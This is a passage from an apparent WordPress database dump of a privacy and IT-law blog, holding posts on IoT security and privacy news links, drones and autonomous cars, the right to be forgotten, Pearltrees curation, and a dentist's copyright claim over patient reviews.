href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933256\" target=\"_blank\" rel=\"noreferrer noopener\">Connected car in the second-hand lot? Don\'t buy it if you\'re not hack-savvy</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item184646065\" target=\"_blank\" rel=\"noreferrer noopener\">How Will Terrorists Use the Internet of Things? The Justice Department Is Trying to Figure That&nbsp;Out</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089\" target=\"_blank\" rel=\"noreferrer noopener\">Dyn DDOS attack</a>&nbsp;:&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item188076710\" target=\"_blank\" rel=\"noreferrer noopener\">Internet outage takes down Twitter, Netflix, PayPal and many of the web\'s most visited websites</a>&nbsp;.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item185774803\" target=\"_blank\" rel=\"noreferrer noopener\">Largest DDoS attack ever delivered by botnet of hijacked IoT&nbsp;devices</a>.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item186066579\" target=\"_blank\" rel=\"noreferrer noopener\">IoT devices being increasingly used for DDoS&nbsp;attacks</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://enews.zdnet.com/ct/40719631:sjuyTalNG:m:1:716967210:D827116CB8CF9C428DD0125FBB9EB00D:r:22560840191682809058836988049432\" target=\"_blank\" rel=\"noreferrer noopener\">Think you\'re safe from hackers offline? This drone steals data from a PC\'s blinking LED</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item183186312\" target=\"_blank\" rel=\"noreferrer noopener\">Hacking the Internet of Things: Locks and&nbsp;Thermostats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item183142276\" target=\"_blank\" rel=\"noreferrer noopener\">The IoT threat to privacy</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://ideas.ted.com/why-online-privacy-matters-and-how-to-protect-yours/\" target=\"_blank\" rel=\"noreferrer noopener\">Why online privacy matters — and how to protect yours</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove&nbsp;<a href=\"http://lnkd.in/dzjQVEU\" target=\"_blank\" rel=\"noreferrer noopener\">“I’ve Got Nothing to Hide” and Other Misunderstandings of Privacy</a>&nbsp;essay is getting a new wave of downloads</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item191175709\" target=\"_blank\" rel=\"noreferrer noopener\">Perceptive Privacy Protectors Push for IoT Privacy&nbsp;Protections -</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.hldataprotection.com/2017/02/articles/international-eu-privacy/ico-turns-spotlight-on-data-broker-industry/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+ChronicleOfDataProtection+%28HL+Chronicle+of+Data+Protection%29\" target=\"_blank\" rel=\"noreferrer noopener\">ICO Turns Spotlight on Data Broker Industry</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/information-becomes-currency/id6000980#item54926385\" target=\"_blank\" rel=\"noreferrer noopener\">Big Data age puts privacy in question as information becomes currency</a>. Data collection and blockage is a<a href=\"http://www.pearltrees.com/clarinette02/data-collection-biz/id5326982\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;lucrative business</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/data-collected-brockers/id10144116#item127127697\" target=\"_blank\" rel=\"noreferrer noopener\">The Dark Market for Personal Data</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.bna.com/lawyers-ready-pounce-n57982083985/?promocode=LIPP101AA&amp;utm_source=Twitter&amp;utm_medium=compcontent&amp;utm_campaign=BloombergLaw\" target=\"_blank\" rel=\"noreferrer noopener\">Lawyers Ready to Pounce if Companies Forget IoT Privacy</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933539\" target=\"_blank\" rel=\"noreferrer noopener\">The Internet of Things\' Dangerous Future: Bruce&nbsp;Schneier</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933543\" target=\"_blank\" rel=\"noreferrer noopener\">Can Your \'Smart\' Appliances Be Trusted with Your Personal Data? Probably&nbsp;Not...</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item188076567\" target=\"_blank\" rel=\"noreferrer noopener\">Why securing IoT is a national-security&nbsp;imperative</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/greatest-privacy-threat-all-our-connected-devices-vivek-wadhwa?trk=v-feed&amp;lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_recent_activity_details_all%3BM7AT58bRIBgoi20j%2BcSRAw%3D%3D\" target=\"_blank\" rel=\"noreferrer noopener\">The greatest privacy threat of all: our connected devices</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item188076588\" target=\"_blank\" rel=\"noreferrer noopener\">Will European Commission avert IoT privacy&nbsp;risks?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/botnet-ddos-attack-security/id17241290\" target=\"_blank\" rel=\"noreferrer noopener\">Security of IoT, Botnet and DDoS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>State surveillance since the last&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/state-surveillance/id17167443#item197737235\" target=\"_blank\" rel=\"noreferrer noopener\">Wikileaks revelations</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/state-surveillance/id17167443#item197737235\" target=\"_blank\" rel=\"noreferrer noopener\">WikiLeaks: The CIA is using popular TVs, smartphones and cars to spy on their owners</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keep coming back for more resources to be added on&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To follow on Internet Connected devices, read more here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.<br></p>\n<!-- /wp:paragraph -->','Life Under Digits','Here are a series of incidents involving Internet connected technologies. What are the privacy and ethics implications?','publish','closed','closed','','life-under-digits','','\nhttp://clarinettesblog.wordpress.com/2010/11/16/life-under-digit-continous/','2020-11-26 20:12:05','2020-11-26 20:12:05','',0,'http://datarainbow.eu/?p=829',0,'post','',0),(831,1,'2020-05-02 13:14:45','2020-05-02 12:14:45','<!-- wp:paragraph -->\n<p>We have recently looked at Artificial Intelligence, after <a rel=\"noreferrer noopener\" href=\"https://www.linkedin.com/pulse/video-surveillance-technology-tara-taubman-bassirian?trk=mp-author-card\" target=\"_blank\">Police wearable cameras</a>, <a rel=\"noreferrer noopener\" href=\"https://www.linkedin.com/pulse/police-3d-printed-murder-victims-finger-unlock-his-taubman-bassirian?trk=mp-author-card\" target=\"_blank\">Police 3D Printing a digital finger</a>, <a rel=\"noreferrer noopener\" href=\"https://www.theguardian.com/technology/2016/jul/08/police-bomb-robot-explosive-killed-suspect-dallas\" target=\"_blank\">Police killing robots</a>, here comes a look at drones and <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\">\'driveless\'</a>or<a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\"> \'autonomus\' cars</a>. <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/google-driveless/id16157941\" target=\"_blank\">Google</a> initiated the path, <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/dronelaw/telsa-cars/id16157944\" target=\"_blank\">Telsa</a> has been in the news for a recent accident. <a rel=\"noreferrer noopener\" href=\"http://fusion.net/story/324731/security-robot-runs-over-child/\" target=\"_blank\">\'Security robot accidentally attacks child\'</a>. Finally, but not the last incident to report, a <a rel=\"noreferrer noopener\" href=\"http://www.telegraph.co.uk/news/worldnews/asia/southkorea/11399713/Robot-vacuum-cleaner-attacks-South-Korea-housewifes-hair.html\" target=\"_blank\">\'Robot vacuum cleaner \'attacks\' South Korea housewife\'s hair\'. </a>All incidents that raise questions: what regulation and what ethics? Should a driver car put the driver\'s safety first or the road safety?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sadly, there is no easy answer. Widely helped by Al Macintyre who has been collecting resources on these subjects. Thanks to the collaborative tool Pearltrees, here are more material for whoever interested on these subjects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jules Polonetsky from the Future of Privacy Forum has been active.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>\'&nbsp;<em>in response to the Administration’s&nbsp;<a href=\"https://www.whitehouse.gov/webform/national-call-commitments-use-unmanned-aircraft-systems-protect-privacy-benefit-society-and-\" target=\"_blank\" rel=\"noreferrer noopener\">call-to-action</a>&nbsp;on privacy protections related to drone operations,&nbsp;<a href=\"https://fpf.org/\" target=\"_blank\" rel=\"noreferrer noopener\">Future of Privacy Forum (FPF)</a>,&nbsp;<a href=\"http://www.intel.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Intel</a>, and&nbsp;<a href=\"http://www.precisionhawk.com/\" target=\"_blank\" rel=\"noreferrer noopener\">PrecisionHawk</a>&nbsp;released&nbsp;<a href=\"http://fpf.org/wp-content/uploads/2016/08/Drones_and_Privacy_by_Design_FPF_Intel_PrecisionHawk.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Drones and Privacy by Design: Embedding Privacy Enhancing Technology in Unmanned Aircraft</a>. The report highlights examples of privacy enhancing technologies and “Privacy-by-Design” applied to drones.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>\"Drones and Privacy by Design describes techniques that can be used to safeguard privacy and support responsible data practices, including practices described in the May 2016 stakeholder-drafted&nbsp;<a href=\"https://www.ntia.doc.gov/files/ntia/publications/uas_privacy_best_practices_6-21-16.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Voluntary Best Practices for UAS Privacy, Transparency, and Accountability</a>.&nbsp; “The best practices were developed through hard-won consensus within the drone community,” said John Verdi, FPF’s Vice President of Policy. “They articulate important principles that should guide drone operators’ data practices, and today’s report describes practical safeguards that can help operators implement those principles.”</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;One scholar has long been studying the legal and ethical issues,&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/ryan-calo/id16152989\" target=\"_blank\" rel=\"noreferrer noopener\">Ryan Calo</a>. I have collected most of his work, papers, interviews and videos.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All to be found&nbsp;<a href=\"http://www.pearltrees.com/dronelaw\" target=\"_blank\" rel=\"noreferrer noopener\">here.</a>&nbsp;Drones and&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/self-driving-cars/id16157882\" target=\"_blank\" rel=\"noreferrer noopener\">Driveless cars</a>&nbsp;with elements of regulations in most western countries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;A good read in The Economist :&nbsp;<a href=\"http://www.economist.com/blogs/democracyinamerica/2015/03/drones-and-privacy\" target=\"_blank\" rel=\"noreferrer noopener\">\' Drones and privacy. A looming threat\'.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Picture, \'Le Monde Sans Dessus Dessous\', Photography by Tara Taubman Bassirian.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><strong>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</strong></em>Report this</p>\n<!-- /wp:paragraph -->','Drones, Autonomous Cars, Ethics and Regulation','Artificial Intelligence, Police wearable cameras, Police 3D Printing a digital finger, Police killing robots, here comes a look at drones and \'driveless\'or \'autonomus\' cars. Google initiatives, Telsa on the news for a recent accident. \'Security robot accidentally attacks child\'.','publish','closed','closed','','drones-autonomus-cars-ethics-and-regulation','','','2021-07-31 23:01:50','2021-07-31 23:01:50','',0,'http://datarainbow.eu/?p=831',0,'post','',0),(833,1,'2015-01-20 13:22:00','2015-01-20 13:22:00','<!-- wp:paragraph -->\n<p>In its landmark decision&nbsp;<a href=\"http://curia.europa.eu/juris/document/document.jsf?text=&amp;docid=152065&amp;pageIndex=0&amp;doclang=en&amp;mode=lst&amp;dir=&amp;occ=first&amp;part=1&amp;cid=243691\" target=\"_blank\" rel=\"noreferrer noopener\">Google Spain SL, Google Inc. v Agencia Española de Protección de Datos, Mario Costeja González</a>&nbsp;of 13th May 2014, the Court of Justice of the European Union (CJEU) holds that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1 - A search engine processes personal data;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2 - The search engine is a controller because it determines the purposes and means of the processing;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3 - When the processing is carried out by a corporation located in the EU, the directive applies;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What does that mean. So far, that means EU citizens or whoever based in the EU, could fill in a&nbsp;<a href=\"https://support.google.com/legal/contact/lr_eudpa?product=websearch\" target=\"_blank\" rel=\"noreferrer noopener\">Google form</a>&nbsp;to ask Google to remove the link to a content when inappropriate, irrelevant or no longer relevant or excessive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The term generally used, \'the right to be forgotten\', can be misleading. During a recent online<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;video debate iQ2</a>, Intelligence Squared, invited two teams of experts to debate the extend \'a\' right to be forgotten in the US. This debate clearly show the misunderstanding of the rule of the ECJ. I wrote a&nbsp;<a href=\"http://itsecurity.co.uk/2015/03/the-right-to-be-forgotten/\" target=\"_blank\" rel=\"noreferrer noopener\">post on the ITSecurity web magazine</a>, trying to clarify the meaning of the ruling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is important to understand their is no risk of censorship whatsoever as the content is not being removed. There is no attempt to free speech, All that is asked from the search engine Google is to \'de-link\' the content from his search results. If someone wants to research the history, the website will have kept, if it wishes so, the information. What this right is doing is to re-establish a sort of trimming previously naturally operated by human memory. Can you imagine if you were to remember every single thing that happened in your life? How could anyone ever depart from a previous mistake if that mistake remains omni-present? This is a very crucial question for the new generation whose private lives are being disseminating everywhere online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The human brain naturally \'dissolves\' the facts to retain what is most relevant. In the digital era, information is indelible, spread at large scale at no cost, freely available. It is necessary to restaure the natural balance between privacy, the public interest to be informed and the right to be forgotten. This is exactly the mission devoted to search engines, main instrument of pointing users to available digital information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As always, you can read all relevant opinions and publications on my Pearltrees under&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/right-forgotten/id1603963\" target=\"_blank\" rel=\"noreferrer noopener\">\'Right to be forgotten\'</a>&nbsp;(click on each square to access the website).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Updates :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.blog.google/topics/google-europe/three-years-right-to-be-forgotten-balance/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\" rel=\"noreferrer noopener\">Three years of striking the right (to be forgotten) balance</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"http://www.stefankulk.nl/index.php/1770/dutch-dpa-releases-new-data-about-the-right-to-be-forgotten/?mkt_tok=eyJpIjoiTWpkaU56UmpOV1UwTlRNMiIsInQiOiI3NGliNG5ZS045dTBOWW15UDRQa2hcL0hwNUxrV1duQjdlSWx0Q2JSM3hkUWtVdUdcL0M0cDhYRGg4RlF5MjZxanozWmRiT3A2RGZhUXdjMkZiQ3R3cUlxdmJFbldnR3pObm1xc1RtRzNXdGFSdkZvZlRSZ09abXRqYVE5N1FkWjQ1In0%3D\" target=\"_blank\">Dutch DPA shares new data about the Right to be Forgotten</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nextinpact.com/news/104294-droit-a-loubli-google-plaide-pour-mise-en-balance-interets-en-presence.htm\">«&nbsp;Droit à l’oubli&nbsp;»&nbsp;: Google plaide pour la mise en balance des intérêts en présence</a><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mobile-reuters-com.cdn.ampproject.org/c/mobile.reuters.com/article/amp/idUSKCN18C1QX\">EU judges to tackle \'right to be forgotten\' again</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><a href=\"https://www.rcfp.org/sites/default/files/RCFP_CNIL_Sept14-English.pdf\"><em>The Reporters Committee for Freedom of the Press</em></a><em> and the undersigned<br> news and journalism organizations write to express concerns regarding the notice given by CNIL to Google Inc. on May 21, 2015 ordering the company to apply new delisting requirements to all domains of the search engine and not merely to its domains in the European Union. In making its order public, CNIL referred specifically to its desire to “inform . . . content publishers . . . of the scope . . . of the right to obtain erasure of personal data.”1 It is in that spirit of dialogue that we offer these objections.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a rel=\"noreferrer noopener\" href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','The Right to be Forgotten is No Censorship','','publish','closed','closed','','833-2','','','2020-11-26 20:11:14','2020-11-26 20:11:14','',0,'http://datarainbow.eu/?p=833',0,'post','',0),(838,1,'2020-05-02 13:37:47','2020-05-02 12:37:47','<!-- wp:paragraph -->\n<p>In this digital era, freely available data is overwhelming. Data storage has become excessively&nbsp;cheap or free. Access to valid information is capital.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the light of the recent terrorists attacks, our Western intelligence agencies have proved to have missed this ability of efficiently process the mass of collected data. They were not able to prevail terrorists attacks. Mohammed Mehra,&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/amedy-coulibaly-freres-kouashi/id13426226\" target=\"_blank\" rel=\"noreferrer noopener\">Amedy Coulibaly, or the brother Kouashi</a>, they were all known and tracked by security agencies,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what went wrong? Probably the right process and analysis of the information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What every organisation could learn from this experience?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mass data or more sophistically called ‘Big Data’, is only the step one towards knowledge and wisdom. Processed data that is organised and accurate is worthy of gold. As for personal information, data minimisation, accuracy and data not kept longer than necessary are the basic requirements of the Data Protection principles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Knowing how efficiently organize information with minimal cost is crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>that brings me to the Peartrees.&nbsp;<a href=\"https://www.pearltrees.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>&nbsp;is a useful tool for collecting and cataloging topics. This free application is a visual and collaborative curation tool to organize, explore and share any URL, document, picture or note. Just like classified paper documents in folders with the ability to duplicate, share, and add editorials, available everywhere, accessible on any electronic device. The curation can be public and shared with other members of the platform or private. Topics are searchable within your own folders or within the community. Very quickly and easily, the Pearltrees can become the ‘<em>place for your interests</em>’. Everywhere you read a piece, your browser App lets you ‘<em>pearl</em>’ the page you are visiting to be stored in a specific file or leave it on your ‘<em>drop zone</em>’ for later. The product features a unique visual interface that allows users to drag and organise collected URLs, and other digital files that themselves can be further organised into collections and sub-collections.You can also engage in&nbsp;<a href=\"http://en.wikipedia.org/wiki/social\" target=\"_blank\" rel=\"noreferrer noopener\">social</a>/<a href=\"http://en.wikipedia.org/wiki/collaborative\" target=\"_blank\" rel=\"noreferrer noopener\">collaborative</a>&nbsp;<a href=\"http://en.wikipedia.org/wiki/digital_curation\" target=\"_blank\" rel=\"noreferrer noopener\">curation</a>&nbsp;using a feature called \'<em>Pearltrees Teams\'</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have been \'feeding\' my Pearltrees for some time. I have therefore created an exhaustive collection of concurring publications on the subjects of my specialities, IT/IP law, social media, eCommerce, Privacy and Data Protection, or elearning for the last few years. This mass of information has been organised by theme. Where books, especially law books are fast obsolete, these Pearltrees are an ongoing project that can be constantly updated and maintained.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to&nbsp;<a href=\"http://en.wikipedia.org/wiki/Pearltrees\" target=\"_blank\" rel=\"noreferrer noopener\">Wikipedia</a>&nbsp;“<em>Pearltrees claims to be one of the largest communities of curators on the web;</em>&nbsp;<em>by December 2011, the company claimed to have over 300,000 registered users and as of March 2012 the number had increased to over 400,000.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>The company also claims to have broken the one million unique visitors per month barrier in January 2012 and to have received in excess of 30,000,000 page views that same month.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are few other online tools of information management based on cloud storage such as&nbsp;<a href=\"https://delicious.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Delicious</a>&nbsp;for the oldest,&nbsp;<a href=\"https://www.diigo.com/\" target=\"_blank\" rel=\"noreferrer noopener\">Diigo</a>&nbsp;or&nbsp;<a href=\"https://www.zotero.org/\" target=\"_blank\" rel=\"noreferrer noopener\">Zotero</a>. The Pearltrees has the best visual interface. The same result could be achieved with other tools. The main point is to bookmark, organise and personalise the information easily accessible and shareable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An example of how data can be collected to gather information around a conference is my curation of the major&nbsp;<a href=\"https://clarinettesblog.wordpress.com/2015/01/23/catching-up-with-the-annual-cdpd-conference-in-brussels/\" target=\"_blank\" rel=\"noreferrer noopener\">Computers, Privacy and Data Protection conference this Month in Brussels</a>. Simply click on any square to access the relevant information, would it be a link to a webpage, a Pdf or a text or a picture.<br></p>\n<!-- /wp:paragraph -->','Bigger Than Big Data, Processed Information is Gold','In this digital era, freely available data is overwhelming. Data storage has become excessively cheap or free. Access to valid information is capital.','publish','closed','closed','','bigger-than-big-data-processed-information-is-gold','','','2021-07-31 23:04:06','2021-07-31 23:04:06','',0,'http://datarainbow.eu/?p=838',0,'post','',0),(841,1,'2015-03-06 13:45:42','2015-03-06 13:45:42','<!-- wp:paragraph -->\n<p>Update December 2016 : You can no longer be sued for leaving negative reviews online.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Late February, a court ruled in favor of a dentist claiming copyright protection on her patients\' reviews. In this case, surprisingly enough the dentist, prior to any treatment, had asked clients to sign a confidentiality agreement to benefit from a copyright over any comments made about her or her practice. The case is&nbsp;<a href=\"http://www.scribd.com/doc/257553352/Default-Judgment-Feb-27-2015-Lee-v-Makhenevich-1-11-cv-08665-SDNY\" target=\"_blank\" rel=\"noreferrer noopener\"><em>Lee v. Makhenevich</em></a>, 1:11-cv-08665 (SDNY).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This did not threatened enough unhappy clients to publish negative Yelp reviews. Consequently, the dentist rushed to mute the comments by claiming copyright protection. As it is reported \'<em>Several of the dentist’s patients filed a class action suit in November 2011 in the Southern District of New York (SDNY), claiming that, even if Defendant does indeed own the copyright in these comments, they were not infringing under the fair use defense of Section 107 of the Copyright Act. Defendant moved to dismiss but the motion was denied on March 27, 2013, by Judge Paul A. Crotty from the SDNY.</em>\' The case has been&nbsp;<a href=\"http://the1709blog.blogspot.co.uk/2015/03/dentist-claiming-to-own-copyright-in.html\" target=\"_blank\" rel=\"noreferrer noopener\">commented by Marie-Andree Weiss</a>&nbsp;for 1709 Copyright Law Blog.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is another demonstration of how a copyright claim can be used to deny freedom of speech. The interconnection between copyright and privacy protection, with freedom of speech is not always obvious at first to the general practitioners. It remains an important legal base increasingly invoked by celebrities. Some of the cases have involved the UK celebrity, Max Molsey, the case of Van Hanover, Naomi Campbell, The Church of Scientology, and few others curated on my&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/copyr-privacy-conflict-press/id1456918\" target=\"_blank\" rel=\"noreferrer noopener\">Pearltrees</a>&nbsp;(click on each box to access the relevant article).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me know what other major case is missing from this collection. I keep my curations regularly updated so if you are interested by the subject, do revisit the link for updates. You an read more about my curations on \'<a href=\"http://www.linkedin.com/pulse/bigger-than-big-data-processed-information-gold-taubman-bassirian?trk=prof-post\" target=\"_blank\" rel=\"noreferrer noopener\">Bigger Than Big Data, Processed Information is Gold\'</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A different way of protecting ones reputation than what this&nbsp;<a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">restaurant manager did to turn a negative review on his favour.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">Read more:</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.linkedin.com/pulse/20141019172647-19096867-how-an-online-negative-comment-can-be-positively-exploited?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">Eric Goldman :&nbsp;</a><a href=\"http://www.forbes.com/sites/ericgoldman/2015/11/02/how-congress-can-protect-online-consumer-reviews/#266370ab2ce7\" target=\"_blank\" rel=\"noreferrer noopener\">How Congress Can Protect Online Consumer Reviews</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://blog.ericgoldman.org/archives/2016/08/hassell-v-bird.htm\" target=\"_blank\" rel=\"noreferrer noopener\">The Internet Rallies Against A Terrible Section 230 Ruling–Hassell v. Bird</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2367092\" target=\"_blank\" rel=\"noreferrer noopener\">Patients’ Online Reviews of Physicians</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a rel=\"noreferrer noopener\" href=\"http://www.fertilitybridge.com/blog/2016/3/3/legalconsiderationswhenrespondingtoonlinepatientreviews\" target=\"_blank\">Legal Considerations When Responding to Online Patient Reviews: An Interview with Eric Goldman</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://thenextweb.com/insider/2016/12/15/can-no-longer-sued-leaving-negative-reviews-online/?\">You can no longer be sued for leaving negative reviews online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://mashable.com/2016/01/14/tripadvisor-review-response/?europe=true&amp;utm_cid=mash-com-fb-main-link#3lHOQJXJbgqn\">Restaurant owner brilliantly shuts down disgruntled TripAdvisor reviewer</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Published by</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a 